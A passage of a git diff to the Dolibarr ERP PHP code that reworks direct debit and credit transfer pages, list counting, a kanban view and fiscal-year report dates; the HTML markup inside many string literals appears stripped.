      '.$langs->trans("Amount").' : '.price($this->total).''; + } + if (method_exists($this, 'LibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/compta/prelevement/class/ligneprelevement.class.php b/htdocs/compta/prelevement/class/ligneprelevement.class.php index 0093db77c32..6ed518f7f2f 100644 --- a/htdocs/compta/prelevement/class/ligneprelevement.class.php +++ b/htdocs/compta/prelevement/class/ligneprelevement.class.php @@ -167,17 +167,17 @@ class LignePrelevement /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'prelevement_lignes' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } } diff --git a/htdocs/compta/prelevement/create.php b/htdocs/compta/prelevement/create.php index c5b0dda6cf2..85f0be90125 100644 --- a/htdocs/compta/prelevement/create.php +++ b/htdocs/compta/prelevement/create.php @@ -4,7 +4,7 @@ * Copyright (C) 2005-2009 Regis Houssin * Copyright (C) 2010-2012 Juanjo Menent * Copyright (C) 2018 Nicolas ZABOURI - * Copyright (C) 2018 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * Copyright (C) 2019 Markus Welters * * This program is free software; you can redistribute it and/or modify @@ -34,6 +34,7 @@ require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/bank.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/prelevement.lib.php'; require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; @@ -74,6 +75,8 @@ if ($type == 'bank-transfer') { $error = 0; $option = ""; +$mesg = ''; + /* * Actions @@ -123,8 +126,8 @@ if (empty($reshook)) { $bprev = new BonPrelevement($db); if (!$error) { - // $conf->global->PRELEVEMENT_CODE_BANQUE and $conf->global->PRELEVEMENT_CODE_GUICHET should be empty (we don't use them anymore) - $result = $bprev->create($conf->global->PRELEVEMENT_CODE_BANQUE, $conf->global->PRELEVEMENT_CODE_GUICHET, $mode, $format, $executiondate, 0, $type); + // getDolGlobalString('PRELEVEMENT_CODE_BANQUE') and getDolGlobalString('PRELEVEMENT_CODE_GUICHET') should be empty (we don't use them anymore) + $result = $bprev->create(getDolGlobalString('PRELEVEMENT_CODE_BANQUE'), getDolGlobalString('PRELEVEMENT_CODE_GUICHET'), $mode, $format, $executiondate, 0, $type); if ($result < 0) { setEventMessages($bprev->error, $bprev->errors, 'errors'); } elseif ($result == 0) { @@ -225,14 +228,14 @@ if ($type == 'bank-transfer') { $title = $langs->trans("NbOfInvoiceToPayByBankTransfer"); } -print '
      '; -print ''; +print ''; print ''; -print ''; print ''; @@ -254,20 +257,20 @@ if ($nb) { if ($type == 'bank-transfer') { $title = $langs->trans('BankToPayCreditTransfer').': '; } - print $title; + print ''.$title.''; print img_picto('', 'bank_account'); $default_account = ($type == 'bank-transfer' ? 'PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT' : 'PRELEVEMENT_ID_BANKACCOUNT'); - print $form->select_comptes($conf->global->$default_account, 'id_bankaccount', 0, "courant=1", 0, '', 0, '', 1); - print ' - '; + print $form->select_comptes(getDolGlobalInt($default_account), 'id_bankaccount', 0, "courant=1", 0, '', 0, 'widthcentpercentminusx maxwidth300', 1); + print '     '; if (empty($executiondate)) { $delayindays = 0; if ($type != 'bank-transfer') { - $delayindays = $conf->global->PRELEVEMENT_ADDDAYS; + $delayindays = getDolGlobalInt('PRELEVEMENT_ADDDAYS'); } else { - $delayindays = $conf->global->PAYMENTBYBANKTRANSFER_ADDDAYS; + $delayindays = getDolGlobalInt('PAYMENTBYBANKTRANSFER_ADDDAYS'); } $executiondate = dol_time_plus_duree(dol_now(), $delayindays, 'd'); @@ -290,14 +293,14 @@ if ($nb) { print ''; print ''; } - print ''; + print ''; } else { $title = $langs->trans("CreateAll"); if ($type == 'bank-transfer') { $title = $langs->trans("CreateFileForPaymentByBankTransfer"); } print ''."\n"; - print ''."\n"; + print ''."\n"; } } else { if ($mysoc->isInEEC()) { @@ -305,18 +308,18 @@ if ($nb) { if ($type == 'bank-transfer') { $title = $langs->trans("CreateSepaFileForPaymentByBankTransfer"); } - print ''.$title."\n"; + print ''.$title."\n"; if ($type != 'bank-transfer') { $title = $langs->trans("CreateForSepaRCUR"); - print ''.$title."\n"; + print ''.$title."\n"; } } else { $title = $langs->trans("CreateAll"); if ($type == 'bank-transfer') { $title = $langs->trans("CreateFileForPaymentByBankTransfer"); } - print ''.$title."\n"; + print ''.$title."\n"; } } } else { @@ -326,7 +329,9 @@ if ($nb) { $titlefortab = $langs->transnoentitiesnoconv("PaymentByBankTransfers"); $title = $langs->trans("CreateFileForPaymentByBankTransfer"); } - print ''.$title."\n"; + print ''; + print $title; + print "\n"; } print "\n"; @@ -341,6 +346,9 @@ print '
      '; */ $sql = "SELECT f.ref, f.rowid, f.total_ttc, s.nom as name, s.rowid as socid,"; +if ($type == 'bank-transfer') { + $sql .= " f.ref_supplier,"; +} $sql .= " pfd.rowid as request_row_id, pfd.date_demande, pfd.amount"; if ($type == 'bank-transfer') { $sql .= " FROM ".MAIN_DB_PREFIX."facture_fourn as f,"; @@ -402,6 +410,9 @@ if ($resql) { if (!empty($limit)) { print ''; } + if ($type != '') { + print ''; + } $title = $langs->trans("InvoiceWaitingWithdraw"); if ($type == 'bank-transfer') { @@ -414,9 +425,13 @@ if ($resql) { $tradinvoice = "SupplierInvoice"; } + print '
      '; print '
      '.$title.''; -print $nb; +print '
      '.$title.''; +print dol_escape_htmltag($nb); print '
      '.$langs->trans("AmountTotal").''; -print price($pricetowithdraw); +print ''; +print price($pricetowithdraw, 0, $langs, 1, -1, -1, $conf->currency); print '
      '; print ''; print ''; + if ($type == 'bank-transfer') { + print ''; + } print ''; print ''; print ''; @@ -436,17 +451,25 @@ if ($resql) { $bac->fetch(0, $obj->socid); + $invoicestatic->id = $obj->rowid; + $invoicestatic->ref = $obj->ref; + $invoicestatic->ref_supplier = $obj->ref_supplier; + print ''; // Ref invoice - print ''; + if ($type == 'bank-transfer') { + print ''; + } + // Thirdparty - print ''; @@ -507,6 +530,8 @@ if ($resql) { print ''; } print "
      '.$langs->trans($tradinvoice).''.$langs->trans("RefSupplier").''.$langs->trans("ThirdParty").''.$langs->trans("RIB").''.$langs->trans("RUM").'
      '; - $invoicestatic->id = $obj->rowid; - $invoicestatic->ref = $obj->ref; + print ''; print $invoicestatic->getNomUrl(1, 'withdraw'); print ''; + print dol_escape_htmltag($invoicestatic->ref_supplier); + print ''; + print ''; $thirdpartystatic->fetch($obj->socid); print $thirdpartystatic->getNomUrl(1, 'ban'); print '
      '.$langs->trans("None").'
      "; + print "
      "; + print ""; print "
      \n"; } else { diff --git a/htdocs/compta/prelevement/factures.php b/htdocs/compta/prelevement/factures.php index 0ed75b5c3b8..4c3d26720c3 100644 --- a/htdocs/compta/prelevement/factures.php +++ b/htdocs/compta/prelevement/factures.php @@ -21,7 +21,7 @@ /** * \file htdocs/compta/prelevement/factures.php * \ingroup prelevement - * \brief Page liste des factures prelevees + * \brief Page list of invoice paied by direct debit or credit transfer */ // Load Dolibarr environment @@ -105,7 +105,7 @@ if ($id > 0 || $ref) { print '
      '.$langs->trans("Date").''.dol_print_date($object->datec, 'day').'
      '.$langs->trans("Amount").''.price($object->amount).'
      '.$langs->trans('CreditDate').''; print dol_print_date($object->date_credit, 'day'); print '
      '; + // Get bank account for the payment $acc = new Account($db); - $result = $acc->fetch($conf->global->PRELEVEMENT_ID_BANKACCOUNT); + $fk_bank_account = $object->fk_bank_account; + if (empty($fk_bank_account)) { + $fk_bank_account = ($object->type == 'bank-transfer' ? getDolGlobalInt('PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT') : getDolGlobalInt('PRELEVEMENT_ID_BANKACCOUNT')); + } + if ($fk_bank_account > 0) { + $result = $acc->fetch($fk_bank_account); + } - print ''; print '\n"; + if ($type == 'bank-transfer') { + print ''.$obj->ref."\n"; + } else { + print ''.$obj->ref."\n"; + } print '\n"; diff --git a/htdocs/compta/prelevement/list.php b/htdocs/compta/prelevement/list.php index 571c78358e0..307a7239fe8 100644 --- a/htdocs/compta/prelevement/list.php +++ b/htdocs/compta/prelevement/list.php @@ -43,6 +43,7 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : 'directdebitcredittransferlinelist'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'alpha'); $type = GETPOST('type', 'aZ09'); @@ -112,6 +113,9 @@ $sql = "SELECT p.rowid, p.ref, p.statut as status, p.datec"; $sql .= " , f.rowid as facid, f.ref as invoiceref, f.total_ttc"; $sql .= " , s.rowid as socid, s.nom as name, s.code_client, s.code_fournisseur, s.email"; $sql .= " , pl.amount, pl.statut as statut_ligne, pl.rowid as rowid_ligne"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_bons as p"; $sql .= " , ".MAIN_DB_PREFIX."prelevement_lignes as pl"; $sql .= " , ".MAIN_DB_PREFIX."prelevement as pf"; @@ -152,20 +156,31 @@ if ($search_company) { $sql .= natural_search("s.nom", $search_company); } -$sql .= $db->order($sortfield, $sortorder); - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $result = $db->query($sql); if ($result) { @@ -174,12 +189,18 @@ if ($result) { $param = "&statut=".urlencode($statut); $param .= "&search_bon=".urlencode($search_bon); + if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); + } if ($type == 'bank-transfer') { $param .= '&type=bank-transfer'; } if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } + $newcardbutton = ''; + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); print"\n\n"; print ''."\n"; @@ -192,12 +213,17 @@ if ($result) { print ''; print ''; print ''; + print ''; + + if ($type != '') { + print ''; + } $title = $langs->trans("WithdrawalsLines"); if ($type == 'bank-transfer') { $title = $langs->trans("CreditTransferLines"); } - print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'generic', 0, '', '', $limit, 0, 0, 1); + print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'generic', 0, $newcardbutton, '', $limit, 0, 0, 1); $moreforfilter = ''; @@ -239,67 +265,83 @@ if ($result) { print "\n"; if ($num) { - while ($i < min($num, $limit)) { + $imaxinloop = ($limit ? min($num, $limit) : $num); + while ($i < $imaxinloop) { $obj = $db->fetch_object($result); $bon->id = $obj->rowid; $bon->ref = $obj->ref; $bon->statut = $obj->status; + $bon->date_echeance = $obj->datec; + $bon->total = $obj->amount; $company->id = $obj->socid; $company->name = $obj->name; $company->email = $obj->email; $company->code_client = $obj->code_client; - print ''; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + print ''; - print '\n"; + print '\n"; - print ''; + print ''; - print '\n"; + print ''; + print ''; + + print '\n"; + + + print '\n"; + + print '\n"; + + print '\n"; + + print ''; + + print "\n"; } - print ''; - print img_object($langs->trans($link_title), $link_picto); - print ' '.$obj->invoiceref."\n"; - print ''; - print ''; - - print '\n"; - - - print '\n"; - - print '\n"; - - print '\n"; - - print ''; - - print "\n"; $i++; } } else { diff --git a/htdocs/compta/prelevement/orders_list.php b/htdocs/compta/prelevement/orders_list.php index 4fe9e23a8cd..8dd056ed796 100644 --- a/htdocs/compta/prelevement/orders_list.php +++ b/htdocs/compta/prelevement/orders_list.php @@ -54,6 +54,8 @@ if (!$sortfield) { } $optioncss = GETPOST('optioncss', 'alpha'); +$mode = GETPOST('mode', 'alpha'); + // Get supervariables $statut = GETPOST('statut', 'int'); @@ -97,6 +99,9 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x' llxHeader('', $langs->trans("WithdrawalsReceipts")); $sql = "SELECT p.rowid, p.ref, p.amount, p.statut, p.datec"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_bons as p"; $sql .= " WHERE p.entity IN (".getEntity('invoice').")"; if ($type == 'bank-transfer') { @@ -111,20 +116,32 @@ if ($search_amount) { $sql .= natural_search("p.amount", $search_amount, 1); } -$sql .= $db->order($sortfield, $sortorder); - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $result = $db->query($sql); if ($result) { @@ -132,6 +149,9 @@ if ($result) { $i = 0; $param = ''; + if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); + } if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -146,6 +166,8 @@ if ($result) { $selectedfields = ''; $newcardbutton = ''; + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); if ($usercancreate) { $newcardbutton .= dolGetButtonTitle($langs->trans('NewStandingOrder'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/compta/prelevement/create.php?type='.urlencode($type)); } @@ -161,7 +183,11 @@ if ($result) { print ''; print ''; print ''; + print ''; + if ($type != '') { + print ''; + } $titlekey = "WithdrawalsReceipts"; $title = $langs->trans("WithdrawalsReceipts"); if ($type == 'bank-transfer') { @@ -203,27 +229,40 @@ if ($result) { $directdebitorder->id = $obj->rowid; $directdebitorder->ref = $obj->ref; - $directdebitorder->datec = $obj->datec; - $directdebitorder->amount = $obj->amount; + $directdebitorder->date_echeance = $obj->datec; + $directdebitorder->total = $obj->amount; $directdebitorder->statut = $obj->statut; - print ''; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + print ''; - print '\n"; + print '\n"; - print '\n"; + print '\n"; - print '\n"; + print '\n"; - print ''; + print ''; - print ''."\n"; + print ''."\n"; - print "\n"; + print "\n"; + } $i++; } } else { diff --git a/htdocs/compta/recap-compta.php b/htdocs/compta/recap-compta.php index b8986a449ce..0808e5a7aab 100644 --- a/htdocs/compta/recap-compta.php +++ b/htdocs/compta/recap-compta.php @@ -117,7 +117,7 @@ if ($id > 0) { dol_banner_tab($object, 'socid', '', ($user->socid ? 0 : 1), 'rowid', 'nom', '', '', 0, '', '', 1); print dol_get_fiche_end(); - if (isModEnabled('facture') && $user->rights->facture->lire) { + if (isModEnabled('facture') && $user->hasRight('facture', 'lire')) { // Invoice list print load_fiche_titre($langs->trans("CustomerPreview")); diff --git a/htdocs/compta/resultat/clientfourn.php b/htdocs/compta/resultat/clientfourn.php index 908d0ae4ac2..beda62520d9 100644 --- a/htdocs/compta/resultat/clientfourn.php +++ b/htdocs/compta/resultat/clientfourn.php @@ -70,36 +70,34 @@ if (!$sortorder) { } // Date range -$year = GETPOST('year', 'int'); +$year = GETPOST('year', 'int'); // this is used for navigation previous/next. It is the last year to show in filter if (empty($year)) { $year_current = dol_print_date(dol_now(), "%Y"); $month_current = dol_print_date(dol_now(), "%m"); - $year_start = $year_current; + $year_start = $year_current - ($nbofyear - 1); } else { $year_current = $year; $month_current = dol_print_date(dol_now(), "%m"); - $year_start = $year; + $year_start = $year - $nbofyear + (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); } $date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear); $date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear); // We define date_start and date_end if (empty($date_start) || empty($date_end)) { // We define date_start and date_end - $q = GETPOST("q") ?GETPOST("q") : 0; + $q = GETPOST("q") ? GETPOST("q", 'int') : 0; if ($q == 0) { // We define date_start and date_end - $year_end = $year_start; - $month_start = GETPOST("month") ?GETPOST("month") : ($conf->global->SOCIETE_FISCAL_MONTH_START ? ($conf->global->SOCIETE_FISCAL_MONTH_START) : 1); + $year_end = $year_start + $nbofyear - (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); + $month_start = GETPOST("month") ? GETPOST("month", 'int') : getDolGlobalInt('SOCIETE_FISCAL_MONTH_START', 1); if (!GETPOST('month')) { - if (!GETPOST("year") && $month_start > $month_current) { + if (!$year && $month_start > $month_current) { $year_start--; $year_end--; } $month_end = $month_start - 1; if ($month_end < 1) { $month_end = 12; - } else { - $year_end++; } } else { $month_end = $month_start; @@ -155,6 +153,7 @@ if (isModEnabled('comptabilite')) { if (isModEnabled('accounting')) { $result = restrictedArea($user, 'accounting', '', '', 'comptarapport'); } +$hookmanager->initHooks(['customersupplierreportlist']); /* @@ -174,13 +173,6 @@ $total_ttc = 0; // Affiche en-tete de rapport if ($modecompta == "CREANCES-DETTES") { $name = $langs->trans("ReportInOut").', '.$langs->trans("ByPredefinedAccountGroups"); - $calcmode = $langs->trans("CalcModeDebt"); - $calcmode .= '
      ('.$langs->trans("SeeReportInInputOutputMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - if (isModEnabled('accounting')) { - $calcmode .= '
      ('.$langs->trans("SeeReportInBookkeepingMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - } $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); $periodlink = ($year_start ? "".img_previous()."".img_next()."" : ""); $description = $langs->trans("RulesResultDue"); @@ -196,13 +188,6 @@ if ($modecompta == "CREANCES-DETTES") { //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "RECETTES-DEPENSES") { $name = $langs->trans("ReportInOut").', '.$langs->trans("ByPredefinedAccountGroups"); - $calcmode = $langs->trans("CalcModeEngagement"); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - if (isModEnabled('accounting')) { - $calcmode .= '
      ('.$langs->trans("SeeReportInBookkeepingMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - } $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); $periodlink = ($year_start ? "".img_previous()."".img_next()."" : ""); $description = $langs->trans("RulesResultInOut"); @@ -210,14 +195,9 @@ if ($modecompta == "CREANCES-DETTES") { //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "BOOKKEEPING") { $name = $langs->trans("ReportInOut").', '.$langs->trans("ByPredefinedAccountGroups"); - $calcmode = $langs->trans("CalcModeBookkeeping"); - $calcmode .= '
      ('.$langs->trans("SeeReportInInputOutputMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); $arraylist = array('no'=>$langs->trans("CustomerCode"), 'yes'=>$langs->trans("AccountWithNonZeroValues"), 'all'=>$langs->trans("All")); - $period .= '     '.$langs->trans("DetailByAccount").' '.$form->selectarray('showaccountdetail', $arraylist, $showaccountdetail, 0); + $period .= '     '.$langs->trans("DetailBy").' '.$form->selectarray('showaccountdetail', $arraylist, $showaccountdetail, 0); $periodlink = ($year_start ? "".img_previous()."".img_next()."" : ""); $description = $langs->trans("RulesResultBookkeepingPredefined"); $description .= ' ('.$langs->trans("SeePageForSetup", DOL_URL_ROOT.'/accountancy/admin/account.php?mainmenu=accountancy&leftmenu=accountancy_admin', $langs->transnoentitiesnoconv("Accountancy").' / '.$langs->transnoentitiesnoconv("Setup").' / '.$langs->transnoentitiesnoconv("Chartofaccounts")).')'; @@ -225,7 +205,23 @@ if ($modecompta == "CREANCES-DETTES") { //$exportlink=$langs->trans("NotYetAvailable"); } -$hselected = 'report'; +// Define $calcmode line +$calcmode = ''; +if (isModEnabled('accounting')) { + $calcmode .= ''; + $calcmode .= '
      '; +} +$calcmode .= ''; +$calcmode .= '
      '; + report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, array('modecompta'=>$modecompta, 'showaccountdetail'=>$showaccountdetail), $calcmode); @@ -254,7 +250,7 @@ if ($date_endyear) { $param .= '&date_endyear='.$date_endyear; } -print '
      '; $labelofbankfield = "BankToReceiveWithdraw"; if ($object->type == 'bank-transfer') { $labelofbankfield = 'BankToPayCreditTransfer'; } - print $langs->trans($labelofbankfield); + + print '
      '; + print $form->textwithpicto($langs->trans("BankAccount"), $langs->trans($labelofbankfield)); print ''; if ($acc->id > 0) { @@ -174,6 +182,9 @@ if ($id > 0 || $ref) { // List of invoices $sql = "SELECT pf.rowid, p.type,"; $sql .= " f.rowid as facid, f.ref as ref, f.total_ttc,"; +if ($object->type == 'bank-transfer') { + $sql .= " f.ref_supplier,"; +} $sql .= " s.rowid as socid, s.nom as name, pl.statut, pl.amount as amount_requested"; $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_bons as p"; $sql .= ", ".MAIN_DB_PREFIX."prelevement_lignes as pl"; @@ -251,6 +262,9 @@ if ($resql) { print ''; print ''; print_liste_field_titre("Bill", $_SERVER["PHP_SELF"], "p.ref", '', $param, '', $sortfield, $sortorder); + if ($object->type == 'bank-transfer') { + print_liste_field_titre("RefSupplierShort", $_SERVER["PHP_SELF"], "f.ref_supplier", '', $param, '', $sortfield, $sortorder); + } print_liste_field_titre("ThirdParty", $_SERVER["PHP_SELF"], "s.nom", '', $param, '', $sortfield, $sortorder); print_liste_field_titre("AmountInvoice", $_SERVER["PHP_SELF"], "f.total_ttc", "", $param, 'class="right"', $sortfield, $sortorder); print_liste_field_titre("AmountRequested", $_SERVER["PHP_SELF"], "pl.amount", "", $param, 'class="right"', $sortfield, $sortorder); @@ -282,6 +296,12 @@ if ($resql) { print $invoicetmp->getNomUrl(1); print "\n"; + if ($object->type == 'bank-transfer') { + print '\n"; + } + print '\n"; @@ -322,6 +342,9 @@ if ($resql) { if ($num > 0) { print ''; print ''; + if ($object->type == 'bank-transfer') { + print ''; + } print ''; print ''; print ''; - if ($object->date_trans <> 0) { + if (!empty($object->date_trans)) { $muser = new User($db); $muser->fetch($object->user_trans); @@ -111,7 +111,7 @@ if ($id > 0 || $ref) { print $object->methodes_trans[$object->method_trans]; print ''; } - if ($object->date_credit <> 0) { + if (!empty($object->date_credit)) { print ''; @@ -124,15 +124,23 @@ if ($id > 0 || $ref) { print '
      '; print '
      '; + print dol_escape_htmltag($invoicetmp->ref_supplier); + print "'; print $thirdpartytmp->getNomUrl(1); print "
      '.$langs->trans("Total").'  '; //if ($totalinvoices != $object->amount) print img_warning("AmountOfFileDiffersFromSumOfInvoices"); // It is normal to have total that differs. For an amount of invoice of 100, request to pay may be 50 only. diff --git a/htdocs/compta/prelevement/fiche-rejet.php b/htdocs/compta/prelevement/fiche-rejet.php index de9eb46631c..7e80874745c 100644 --- a/htdocs/compta/prelevement/fiche-rejet.php +++ b/htdocs/compta/prelevement/fiche-rejet.php @@ -100,7 +100,7 @@ if ($id > 0 || $ref) { print '
      '.$langs->trans("Date").''.dol_print_date($object->datec, 'day').'
      '.$langs->trans("Amount").''.price($object->amount).'
      '.$langs->trans('CreditDate').''; print dol_print_date($object->date_credit, 'day'); print '
      '; + // Get bank account for the payment $acc = new Account($db); - $result = $acc->fetch($conf->global->PRELEVEMENT_ID_BANKACCOUNT); + $fk_bank_account = $object->fk_bank_account; + if (empty($fk_bank_account)) { + $fk_bank_account = ($object->type == 'bank-transfer' ? getDolGlobalInt('PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT') : getDolGlobalInt('PRELEVEMENT_ID_BANKACCOUNT')); + } + if ($fk_bank_account > 0) { + $result = $acc->fetch($fk_bank_account); + } - print ''; print ''; + print ''; } if ($num > 0) { diff --git a/htdocs/compta/prelevement/fiche-stat.php b/htdocs/compta/prelevement/fiche-stat.php index 3b15676792e..efaab1532f8 100644 --- a/htdocs/compta/prelevement/fiche-stat.php +++ b/htdocs/compta/prelevement/fiche-stat.php @@ -94,7 +94,7 @@ if ($id > 0 || $ref) { print ''; print ''; - if ($object->date_trans <> 0) { + if (!empty($object->date_trans)) { $muser = new User($db); $muser->fetch($object->user_trans); @@ -105,7 +105,7 @@ if ($id > 0 || $ref) { print $object->methodes_trans[$object->method_trans]; print ''; } - if ($object->date_credit <> 0) { + if (!empty($object->date_credit)) { print ''; @@ -118,15 +118,23 @@ if ($id > 0 || $ref) { print '
      '; print '
      '; $labelofbankfield = "BankToReceiveWithdraw"; if ($object->type == 'bank-transfer') { $labelofbankfield = 'BankToPayCreditTransfer'; } - print $langs->trans($labelofbankfield); + + print '
      '; + print $form->textwithpicto($langs->trans("BankAccount"), $langs->trans($labelofbankfield)); print ''; if ($acc->id > 0) { @@ -242,7 +250,7 @@ if ($resql) { $i++; } } else { - print '
      '.$langs->trans("None").'
      '.$langs->trans("None").'
      '.$langs->trans("Date").''.dol_print_date($object->datec, 'day').'
      '.$langs->trans("Amount").''.price($object->amount).'
      '.$langs->trans('CreditDate').''; print dol_print_date($object->date_credit, 'day'); print '
      '; + // Get bank account for the payment $acc = new Account($db); - $result = $acc->fetch($conf->global->PRELEVEMENT_ID_BANKACCOUNT); + $fk_bank_account = $object->fk_bank_account; + if (empty($fk_bank_account)) { + $fk_bank_account = ($object->type == 'bank-transfer' ? getDolGlobalInt('PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT') : getDolGlobalInt('PRELEVEMENT_ID_BANKACCOUNT')); + } + if ($fk_bank_account > 0) { + $result = $acc->fetch($fk_bank_account); + } - print ''; print ''; print ''; @@ -184,7 +184,7 @@ if ($resql) { } } else { $titlefortab = $langs->transnoentitiesnoconv("StandingOrders"); - print ''; + print ''; } print "
